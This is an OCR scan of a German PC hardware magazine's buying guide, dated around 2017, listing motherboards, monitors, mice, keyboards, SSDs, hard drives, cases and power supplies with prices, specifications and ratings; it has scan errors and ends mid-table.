ПІТ) Asrock B150M Pro4S Са. € 70,- | BIBO/gATX | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 3,28 08/2016 | www.pcgh.de/preis/1318332 
Asus H110M-Plus Са. Є 65,- | H110/pATX | x16 & x1(2.01)/x1(2.01) - ALC887 2/0x3.1; 2/2x3,0; 4х | 2 (2x PWM) 3,49 08/2016 | www.pcgh.de/preis/1350313 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock X99 Taichi Ca. € 260,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,80 10/2016 | www.pcgh.de/preis/1462624 
Asus Strix X99 Gaming Ca. € 300,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 10/2016 | www.pcgh.de/preis/1441449 
Gigabyte X99-Ultra Gam. | Ca. € 240,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,89 10/2016 | www.pcgh.de/preis/1446348 
MSI X99A Raider Ca. € 190,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 4/2x3,0; 10x | 5 (2x PWM) 1,95 10/2016 | www.pcgh.de/preis/1247988 
In Asus X99-E Ca. € 230,- | X99/ATX x16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 10/2016 | www.pcgh.de/preis/1441447 
MSI X99A Gam. Pro Carb. | Ca. € 290,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1x PWM) 1,96 10/2016 | www.pcgh.de/preis/1443681 
EVGA X99 FTW K N verfüg. | X99/E-ATX | x16*/x0*/x0*/x16*/x0* & x1 3.0x4* ALC1150 | 2/x3.1; 4/4x3,0; 10x | 7 (7x PWM) 2,07 10/2016 | www.pcgh.de/preis/1452679 


* PCI-E-Lane-Sharing ** M.2 shared mit SATA *** M.2 shared mit SATA und mit PCI-E-Slot(s) 
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SERVICE | Einkaufsführer 


Einkaufsführer LCDs & Eingabegeräte ЕТ 


CEMS EK PREIS-LEISTUNGS-TIPP [ERS o SPAR-TIPP 


Full Hp Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 


Asus MG248Q Ca. € 310,- 24 Zo 44 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 06/2016 | www.pcgh.de/preis/1419189 

liyama GB2488HSU-B2 Ca. € 285,- 24 Zo 44 Hertz 5 ms 2ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 

Acer XF240H bmjdpr Ca. € 250,- 24 Zo 44 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 
Medion Erazer X58426 Ca. € 400,- 31,5 Zoll 44 Hertz 12 ms 1ms bis 288 cd/m? VA-Pane Freesync 1,76 05/2017 | www.pcgh.de/preis/1 585204 ТТИ 
AOC G2460PF Ca. € 250,- 24 Zo 44 Hertz 6 ms 4ms 156 bis 358 cd/m? N-Pane Freesync 1,77 05/2016 | www.pcgh.de/preis/1318972 

Asus VG278HV Ca. € 350,- 27 Zo 44 Hertz 5 ms 9 ms 58 bis 305 cd/m? N-Pane - 1,79 05/2016 | www.pcgh.de/preis/1336350 

Benq Zowie XL2540 Ca. € 500,- 24,5 Zoll 240 Hertz 5ms 0 ms 40 bis 390 cd/m? N-Pane Freesync 1,83 02/2017 | www.pcgh.de/preis/1534083 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

Viewsonic XG2703-GS Ca. € 850,- 27 Zo 65 Hertz - 2ms bis 355 cd/m? PS-Panel G-Sync 1,56 04/2017 | www.pcgh.de/preis/1504306 

AOC Agon AG241QG Ca. € 515,- 24 Zo 65 Hertz - 3ms bis 450 cd/m? N-Pane G-Sync 1,74 | 04/2017 | www.pcgh.de/preis/1476116 

Asus MG279Q Ca. € 585,- 27 Zo 44 Hertz 8 ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/121 5454 (TITI 
Benq XL2730Z Ca. € 600,- 2770 44 Hertz 8 ms 8ms 52 bis 353 cd/m2 N-Pane Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 550,- 27 Zo 60 Hertz 5 ms 9 ms 74 bis 312 cd/m? VA-Pane - 2,04 | 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

iyama X4071UHSU-B1 Ca. € 570,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |- 1,81 11/2016 | www.pcgh.de/preis/1362847 ТР 
Asus PB287Q Ca. € 385,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? N-Pane - 1,87 07/2014 www.pcgh.de/preis/1094194 «Т ТИЛ. 
Asus РВ2790 Ca. € 600,- 2770 60 Hertz 6 ms 9ms 54 bis 266 cd/m2 PS-Panel - 2,04 | 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B N. verf. 27 Zo 60 Hertz 8 ms 11 ms 72 bis 230 cd/m? PS-Panel Freesync 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflósung Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp VRR Test in 

LG 38UC99-W Са. € 1.340,- | 3.840 x 1.600 | 75 Hertz 7 ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 

Asus ВОб PG348Q Са. € 1.080,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m2 PS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 850,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? PS-Panel Freesync 1,76 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 705,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |- 1,76 04/2016 | www.pcgh.de/preis/1195794 

Acer Predator X34 N. verf. 3.440 x 1.440 | 100 Hertz 12 ms 8 ms 19 bis 306 cd/m? PS-Panel G-Sync 1,89 04/2016 | www.pcgh.de/preis/1257523 


Modell Preis Kabellánge | Tasten Abtastung Auflósung | Gewicht Ergonomie Test in 

Roccat Nyth Ca. € 120,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 130 Gramm Sehr gut 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Leadr Ca. € 150,- | Schnurlos 16 + Scrollrad | Optisch (LED) | 12.000 Dpi | 134 Gramm Sehr gu 1,22 | 07/2017 | www.pcgh.de/preis/1226541 NEU 
Roccat Tyon Са. € 110,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 126 Gramm Sehr gu 1,32 12/2014 | www.pcgh.de/preis/1154844 

Asus ROG Gladius 11 Са. Є 90,- | 200/100 cm | 6 + Scrollrad | Optisch (LED) 2.000 Dpi | 110 Gramm Sehr gut 1,32 | 04/2017 | www.pcgh.de/preis/1574884 ТҮҢ 
Logitech G900 Chaos Spectrum | Ca. € 110,- | Schnurlos 10 + Scrollrad | Optisch (LED) 2.000 Dpi | 107 Gramm Sehr gu 1,33 07/2016 | www.pcgh.de/preis/1414931 

Razer Mamba 2015 Са. € 140,- | Schnurlos | 6 + Scrollrad | Optisch (LED) | 16.000 Dpi | 128 Gramm Sehr gu 1,37 | 04/2017 | www.pcgh.de/preis/1310490 

Razer Mamba Tournament Edition | Са. Є 85,- | 210 cm 6 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 133 Gramm Sehr gu 1,39 | 01/2016 | www.pcgh.de/preis/1310517 

Roccat Kone EMP Ca.€80,- | 180 ст 6 + Scrollrad | Optisch (LED) 2.000 Dpi | 116 Gramm Sehr gu 1,42 04/2017 | www.pcgh.de/preis/1558194 

G403 Prodigy Wireless Са. Є 75,- | Schnurlos 5 + Scrollrad | Optisch (LED) 2.000 Dpi | 107 bis 117 Gramm Sehr gut 1,43 12/2016 | www.pcgh.de/preis/1503381 

Roccat Kone XTD Са. €70,- | 180 cm 7 + Scrollrad | Optisch (Laser) 8.200 Dpi | 120 bis 140 Gramm Sehr gu 1,43 12/2012 | www.pcgh.de/preis/841868 

Corsair Scimitar Pro RGB Ca.€90- | 180 cm 16 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 147 Gramm Gut 1,50 05/2017 | www.pcgh.de/preis/1558629 

Sharkoon Skiller SGM1 Са. Є 40,- | 180 ст 9 + Scrollrad | Optisch (LED) 0.800 Dpi | 130 bis 154 Сгатт Gut 1,83 | 04/2017 | www.pcgh.de/preis/1501343 


Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in 

Roccat Isku+ Force FX Ca. € 110,- | Voll, RGB-Farbraum _ Ja (integriert) 10 + 5 Makrotasten | Ja/ja (k. A.) 1,60 06/2017 | www.pcgh.de/preis/1558265 

Razer Ornata Chroma Ca. € 110,- | RGB-Einzeltastenbel. _ Ja (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 

Asus Cerberus Ca.€50,- | Voll, zwei Farben _ Ja (integriert) 6 alja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 «ТТЛ. 
Sharkoon Skiller Pro+ Ca.€40,- | Voll, sieben Farben _ Ja (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 «Т? 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue а/а (2 MByte) 1,26 | 09/2016 | www.pcgh.de/preis/1388126 

Razer Black Widow Chroma V2 Ca. € 190,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown alja (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 

Corsair K95 Platimun RGB Ca. € 195,- | RGB-Einzeltastenbel. 1x USB 2.0 Ch. MX Speed КСВ | Ch. MX Speed RGB | Ja/ja (8 MByte) 1,36 07/2017 | www.pcgh.de/preis/ 572533 NEU. 
Sharkoon Shark Zone MK 80 RGB | Ca. € 135,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2015 | www.pcgh.de/preis/ 369386 «ТТ 
Corsair Strafe RGB MX Silent Ca. € 165,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black alja (k. A.) 1,45 11/2015 www.pcgh.de/preis/1258778 «ТТ 
Tt esports Poseidon Z RGB Ca. € 105,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB а/а (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 

Patriot Viper V760 Ca. € 120,- | RGB-Einzeltastenbel. 1xUSB 2.0 Kailh RGB Brown Kailh RGB Brown a/ja (6 Profile) 1,49 07/2017 | www.pcgh.de/preis/ 539759 NEU 
Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | Ja/ja (k. A.) 1,50 | 03/2017 | www.pcgh.de/preis/1549791 

Roccat Suora FX Ca. € 140,- | RGB-Einzeltastenbel. Keine TTC RGB Brown TTC RGB Brown a/ja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 

G.Skill Ripjaws KM780 RGB Ca. € 150,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX RGB Br. | МХ RGB Brown/Red | Јаја (k. A.) 1,52 | 03/2016 | www.pcgh.de/preis/1332861 
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Einkaufsführer | SERVICE 


Einkaufsführer SSDs & Festplatten 


Preise: Stand 24.05.2017 


(LIT ERPREIS-LEISTUNGS-TIPP 


Hëttueg ERSPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer 1/5* AS-SSD IOPS** Kopiertest Herstellergarantie 
ТЇЗ, Samsung SSD 850 Evo Ca. € 95,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 | 08/2015 | www.pcgh.de/preis/1194261 
Adata Ultimate 50900 Са. € 115,- | 238 GiB/256 GB 529/490 MB/s 83.000 84 Sekunden | 5 Jahre 2,00 | 05/2017 | www.pcgh.de/preis/1563414 
Adata SX 930 Са. Є 105,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 12/2015 | www.pcgh.de/preis/1299666 
Sandisk X400 Ca. € 95,- 233 GiB/250 GB 478/492 MB/s 23.000 121 Sekunden | 5 Jahre 2,31 07/2016 | www.pcgh.de/preis/1388029 
Sandisk Ultra II Ca. € 95,- 224 GiB/240 GB 478/407 MB/s 24.000 109 Sekunden | 3 Jahre 2,31 07/2016 | www.pcgh.de/preis/1154831 
Kingston HyperX Sav. SSD Kit | Ca. € 140,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
Kingston SSDnow UV400 Ca. € 90,- 224 GiB/240 GB 512/488 MB/s 22.000 159 Sekunden | 3 Jahre 2,63 05/2017 | www.pcgh.de/preis/1446599 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
Tiu T Samsung SSD 850 Evo Ca. € 156,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba Q300 Pro Ca. € 225,- | 477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Sandisk Extreme Pro Са. € 225,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden | 10 Jahre 2,07 | 07/2016 | www.pcgh.de/preis/1126463 
DE Sandisk Ultra II Ca.€145- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 | 07/2016 | www.pcgh.de/preis/1154832 
Corsair Neutron Xti Са. € 195,- | 466 GiB/480 GB 528/493 MB/s 15000 85 Sekunden | 5 Jahre 2,21 05/2017 | www.pcgh.de/preis/1469015 
Sandisk X400 Са. € 165,- | 477 GiB/512 GB 476/492 MB/s 25.000 99 Sekunden | 5 Jahre 2,23 | 07/2016 | www.pcgh.de/preis/1368844 
Western Digital WD Blue SSD Са. € 150,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 05/2017 | www.pcgh.de/preis/1521437 
Kingston SSDnow UV400 Са. € 155,- | 466 GiB/480 GB 528/480 MB/s 22000 126 Sekunden | 3 Jahre 2,41 05/2017 | www.pcgh.de/preis/1446624 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ] PCGH-Preisvergleich 
Samsung SSD 850 Pro Ca.€455,- | 954 GiB/1.024 GB | 528/502 MB/s 90.000 73 Sekunden | 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.350,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Toshiba Q300 Pro Са. € 395,- | 954 GiB/1.024 GB 519/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,89 05/2017 | www.pcgh.de/preis/1424648 
OCZ VX500 Са. Є 370,- | 954 GiB/1.024 GB | 520/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,91 05/2017 | www.pcgh.de/preis/1507141 
Mushkin Reactor N. verfügbar | 932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 | 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Са. € 555,- | 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
Corsair Neutron Xti Ca.€405,- | 932 GiB/960 GB GB | 528/466 MB/s 78.000 85 Sekunden | 5 Jahre 2,05 05/2017 | www.pcgh.de/preis/1469016 
OCZ Vector 180 Са. Є 395,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2,15 08/2015 | www.pcgh.de/preis/1230950 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 08/2015 | www.pcgh.de/preis/1215186 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 
Solid State Drives (M.2/PCle 3.0 x4) 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
TT tp Toshiba 0С7 RD400 Са. € 265,- | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 11/2016 | www.pcgh.de/preis/1448318 
Corsair MP500 Ca. € 280,- | 447 GiB/480 GB 2399/1322 MB/s 87.000 49 Sekunden | 3 Jahre 1,84 05/2017 | www.pcgh.de/preis/1552578 
DEE PNY сѕ2030 Са. € 135,- ! 238 GiB/240 GB 2.436/1231 MB/s 68.000 52 Sekunden | 3 Jahre 1,94 | 05/2017 | www.pcgh.de/preis/1571194 
Zotac Sonix Ca. € 345,- | 477 GiB/512 GB 2.250/1.330 MB/s 95.000 56 Sekunden | 3 Jahre 2,04 11/2016 | www.pcgh.de/preis/1406123 
Kingston Hyper X Predator Ca.€350,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 12/2015 | www.pcgh.de/preis/1247224 
Adata SX8000 Са. € 235,- | 447 GiB/512 GB 1112/1110 MB/s 41.000 69 Sekunden | 5 Jahre 2,68 05/2017 | www.pcgh.de/preis/1532201 
Intel SSD 600p Са. € 180,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 05/2017 | www.pcgh.de/preis/1491162 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer 1/5* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ] PCGH-Preisvergleich 
Samsung SSD 960 Pro Са. Є 550,- | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 12/2016 | www.pcgh.de/preis/1511187 
ТТТ) Samsung SSD 960 Evo Ca.€450,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 1,79) 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Са. Є 750,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 


Festplatten (3,5 Zoll) 


Ab 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
TT Ty Seagate Ironwolf NAS HDD Ca. € 370,- | 9.313 GiB/10.000 GB | 7.200 | 0,6/1,1 Sone 4,8/7,23 ms 88/186 MB/s 1,71 06/2017 | www.pcgh.de/preis/1479598 
Toshiba N300 Ca. € 205,- | 5.586 GiB/6.000 GB | 7.200 1,1/1,6 Sone 2,0/13,4 ms 67/163 MB/s 1,90 06/2017 | www.pcgh.de/preis/1562775 
Seagate Archive HDD 8TB Ca. € 225,- | 7.452 GiB/8.000 GB | 5.900 | 0,5/0,6 Sone 3,5/14,0 ms 43/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 
Altes Testsystem 
Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
UEB Toshiba DTO1ACA300 Са. € 80,- | 2.794 GiB/3.000 GB | 7.200 | 0,3/0,6 Sone 5,2/15,4 ms* 54/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 
Western Digital Red WD30EFRX Са. € 110,- | 2.794 GiB/3.000 GB | 5.400 | 0,2/0,3 Sone 9,9/21,0 ms* 12/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 
Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Western Digital Black WD4003FZEX Ca. € 260,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,9 Sone 2,5/12,9 ms 45/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 
Hitachi Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,6 Sone 6,3/14,8 ms* 31/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 
Western Digital Red WDAOEFRX Са. € 145,- | 3.726 GiB/4.000 GB | 5.400 | 0,4/0,5 Sone 6,6/18,5 ms 19/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 
Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 2,5/4,3 ms* 67/167 MB/s 172 11/2014 | www.pcgh.de/preis/1148556 
HGST Ultrastar He6 6TB Ca. € 425,- | 5.589 GiB/6.000 GB | 7.200 | 0,1/1,6 Sone 2,6/5,8 ms 43/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 
Western Digital Red WDGOEFRX Са. € 235,- | 5.589 GiB/6.000 GB | K. A. 0,3/0,4 Sone 5,8/18 ms* 27/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 
* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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SERVICE | Einkaufsführer 


Einkaufsführer Gehäuse, Netzteile & Sound 


Preise: Stand 24.05.2017 


(LLL LIPREIS-LEISTUNGS-TIPP 


ШШ fT SPAR-TIPP 


Format " 
Midi-Gehäuse (Herstelle- | Preis Lüfterplätze Enthaltene Lüfter MS т e e Wertung Test in PCGH-Preisvergleich 
rangabe) 
Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 210,- | 9x 140, 2 x 120 mm 3 x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Nanoxia Deep Silence 5 Rv B | Big-Tower | Ca. € 115,- | 4x 140/120 mm, 2 x 140 mm 3x 140 mm 2,2/2,4; 1,9/2,0 Sone | 83/90/34 °C* 1,64 04/2015 www.pcgh.de/preis/1224505 ТҮҢ 
Aerocool XPredator II Big-Tower | Ca. € 130,- | 6 x 140 mm 5x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °C** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Antec P100 Midi-Tower | Са. € 75,- |4x140, 1x 120 mm 2x 120 mm 2,1/2,2; 0,0/0,0 Sone | 79/85/31 °C* 1,71 06/2014 | www.pcgh.de/preis/1013922 
Phanteks Enthoo Luxe Big-Tower | Ca. € 130,- | 2 x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1,71 04/2015 | www.pcgh.de/preis/1142200 
Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4х 140 mm, 1 x 120 mm 2x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °C** 1,84 09/2016 | www. pcgh.de/preis/1354897 «ТИҢ 
Enermax Thormax Giant Big-Tower | Ca. € 135,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °C* 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees AI Crystal Midi-Tower | Ca. € 150,- | 6x 140 mm 4x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 110,- | 5x 140/120 mm, 2 x 120 mm 3x120mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Ca. € 140,- | 4х 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 105,- | 3x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °С* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Ca. € 115,- | 4x 140/1 x 120 mm 2x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 *C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9x 140/120 mm 2x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °C* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 150,- | 5x 140 mm oder 7 x 120 mm 3x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
Chieftec Gaming GP-01B Midi-Tower | Ca. € 80,- | 2 x 140 mm, 3 x 120 mm 2x 140, 1x 120 mm | 2,2/2,1 Sone*** 65/71/49 °C 2,50*** | 02/2017 | www.pcgh.de/preis/1493676 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 @ 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 


Les) 


** System: Intel Core 17-4790; Intel 787, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Thermalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 

*** Neues Test- / Wertungssystem (siehe PCGH 02/2017) 
400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Be Quiet Dark Power Pro 11 550W | Ca. € 135,- | 4х 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Ca. € 145,- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
Cooler Master V550 Ca. € 95,- 2 x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 | www.pcgh.de/preis/1325567 
EVGA G2 550W Ca.€90- | 2x 6+2-Pin (65/78 cm) 550 Wa 0,1/0,1/0,6/0,6/0,7 Sone | 87/91/92/91/90 % 1,62 | 09/2016 | www.pcgh.de/preis/1297440 
Corsair RM550x Ca.€90,- | 2х 6+2-Ріп (58 cm) 550 Wa 0,1/0,1/0,1/0,1/0,2 Sone | 85/90/92/91/90 % 1,64 | 09/2016 | www.pcgh.de/preis/1331023 
XFX TS 550 Gold Ca.€60- | 1x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 | 09/2016 | www.pcgh.de/preis/1076839 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
